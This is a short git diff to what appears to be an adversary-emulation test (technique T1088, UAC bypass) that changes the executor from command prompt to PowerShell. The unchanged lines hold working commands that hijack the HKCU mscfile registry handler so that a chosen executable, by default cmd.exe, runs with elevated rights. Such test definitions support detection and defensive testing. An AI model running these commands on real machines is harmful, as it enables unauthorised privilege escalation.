diff --git a/atomics/T1088/T1088.yaml b/atomics/T1088/T1088.yaml index 4e8b420b..4d47917e 100644 --- a/atomics/T1088/T1088.yaml +++ b/atomics/T1088/T1088.yaml @@ -36,7 +36,7 @@ atomic_tests: default: C:\Windows\System32\cmd.exe executor: - name: command_prompt + name: powershell command: | New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force